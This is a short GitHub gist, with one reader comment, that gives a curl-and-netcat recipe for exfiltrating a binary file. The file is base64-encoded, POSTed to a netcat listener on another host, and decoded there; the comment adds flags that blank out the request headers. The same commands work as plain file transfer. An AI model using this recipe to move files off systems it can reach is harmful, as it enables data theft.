Created
April 2, 2020 12:03
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Save packetchef/75226322e06bb82ecad971db0511ef8e to your computer and use it in GitHub Desktop.
An inelegant but functional method to exfiltrate binary data when all you have on the source host is curl
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| On target host: | |
| $ nc -l 9999 > myincomingfile.b64 | |
| On source host: | |
| $ base64 gold.bin > gold.b64 | |
| # For large files, curl will wait for a 100-continue before sending data - add an empty Expect header to avoid this | |
| $ curl -H 'Expect:' -F attachment=@gold.b64 http://target:9999 | |
| On target host: | |
| Remove the headers and footer from myincomingfile.b64, then: | |
| $ base64 -d myincomingfile.b64 > gold.bin | |
| ^^ Ideally it would be nice to have a way to not include any headers or footer in the curl command |
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You can remove all headers by specifying they are empty, eg. by adding:
-H 'Content-Length:' -H 'Host:' -H 'User-Agent:' -H 'Accept:' -H 'Expect:' -H "Content-Type:"netcat on the target will still output the method (eg. POST).